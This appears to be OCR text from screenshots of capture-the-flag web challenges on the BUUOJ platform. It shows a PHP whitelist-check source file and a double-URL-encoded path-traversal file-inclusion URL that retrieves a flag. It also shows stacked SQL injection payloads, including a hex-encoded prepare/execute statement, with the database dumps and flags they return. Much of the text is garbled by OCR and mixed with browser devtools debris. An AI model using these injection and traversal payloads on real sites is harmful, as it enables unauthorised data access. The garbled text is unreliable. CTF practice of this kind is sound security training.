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@ dsaebde9-ee2d-4221-bbfc-6c X+ - X
< C @ F%ZZ | dSaebde9-ee2d-4221-bbfc-6de52442745¢.node3.buuoj.cn/source.php ® % O
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P ~ & A Elements  Console  Sources  Network  Performance X
br 0x%0 ht_rile(_FILE_J; html
<html>
crass  emmm
<head></head>
public static function checkFile(&3page) =¥ <body> == $@
{ > ccode>..</code>
fohitelist = [“source”=>"source.php”, "hint”=>[Eamy br>
y i i |
it { isset{fpage) U is_string (Jpage)) | <img src="https://i.loli.net/2018/11/01 794.5pg">
echo “you can’t see it”;
Teturn false; </body>
] </html>
if (in_array(jpage, Jwhitelist)) I
Teturn true;
i
$page = mb_substr(
Jpage,
0,
mb_strpos (fpage . 7, 7))
)i
if (in_array(§_page, fwnitelist)) |
Teturn true;
}
$_page = urldecode($page);
$_page = mb_substr(
§_page,
0,
mb_strpos($_page . 7, '7)
)i
if (in_array(§_page, Jwhitelist)) | html  body
Teturn true;
} Styles  Event Listeners  DOM Breakpoints  Properties  Accessibility
echo “you can't see it”; — ]
return  false; Filter thov .cls + || MEOD O -
) - I | border -
element.style { | ]
} N | padding - ]
it (1 empty($_REQUEST[’ file ]), , body { user agent stylesheet | |
& is_string(§ REQUEST[ tile’ 1) display: block; i - |
8% emmm: icheckFile (§ REQUEST[ file’]) margin: » 8px; | _ |
) : | |
include §_REQUEST[ rile’], S
oxit! Inherited from html
Poetee {0 . s s s html { user agent stylesheet
echo  “<br>{img sre=Y’https://i.1loli.net/2018/11/01/5bdb0d93de794. jpg\” />”; color: -internal-root-color: Filter Show all
} o e ’
s U » color -
13 i pq ' +y Y x : 16:45
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< C © A%% | dbaebde9-ee2d-4221-b6fc-6de52442745c.node3.buuoj.cn/hint.php
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flag not here, and flag in ffffllllaaaagggg

< C O FZ= | 42580613-1774-4aa3-9704-540fbf0a6272.node3.buuoj.cn/?file=hint.php%253F/../../../../ffffllllaaaagggg
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flag{10078bcf-704f-4f92-8a7a-b56dc7f12142}
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2 |1"show databases:# 183F

arrayi?) |

(ol=>

string (1) 17

[1]=>

string (7) “hahahah™
}

array(l) {
(o]=>
string(11) “ctftraining”

}

arrayil) |
(ol=>
string (18) “information schema™

}

arrayil) |
(ol=>
string (5) "mysql”

}

arrayil) |
(ol=>
string (18) “performance schema™

}

arrayil) |
(ol=>
string(9) “supersqli”

}

arrayil) |
(ol=>
string(4) “test”

}
B, APNER

ZZ v 11" show tables # 123r

array(2) {
[o]=>
string(1) “17
[1]=>
string (7) “hahahah™

array(l) {
[o]=>
string(16) “1919810931114514"

array(l) {
[o]=>

string(5) “words”
s



Zh |1';sh0w create table 1919 | 23F

array(2) |
[o]=>
string (1) "17
[1]=>
string (7) “hahahah™
}

array(2) |
[o]=>
string(16) “1919810931114514"
[1]=>
string(101) “CREATE TABLE ~1910810931114514
“flag  warchar(100) NOT NULL
) ENGINE=MwISANM DEFAULT CHARSET=utf8”

}
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inject=1nject=1%27;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare%20ex

ecsql%20from%20@a;execute%20execsql#

< C @ T2 | 6d5326a4-99c2-423f-ab6f-46b44dc1853d.node3.buuoj.cn/?inject=1nject=1%27;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare?
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M FERXEERIRSE, Rii—2iE: ARZ2R—FT

=3l =

array(2) {
[o1=>
string(1) “1”
[11=>
string(7) “hahahah”

array(1) {
[o1=>
string(42) “flag (375Tecfie-b0e7-4763-830e-d166b455ba13)
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Give me your flag, | will tell you if the flag is right.
.1 ity

Array ( [0] => flag{dafc9254-57e2-4e69-ac79-f7e29130bce8} [1] => 1)

https://mwww.cnblogs.com/anweilx/p/12353294 .html
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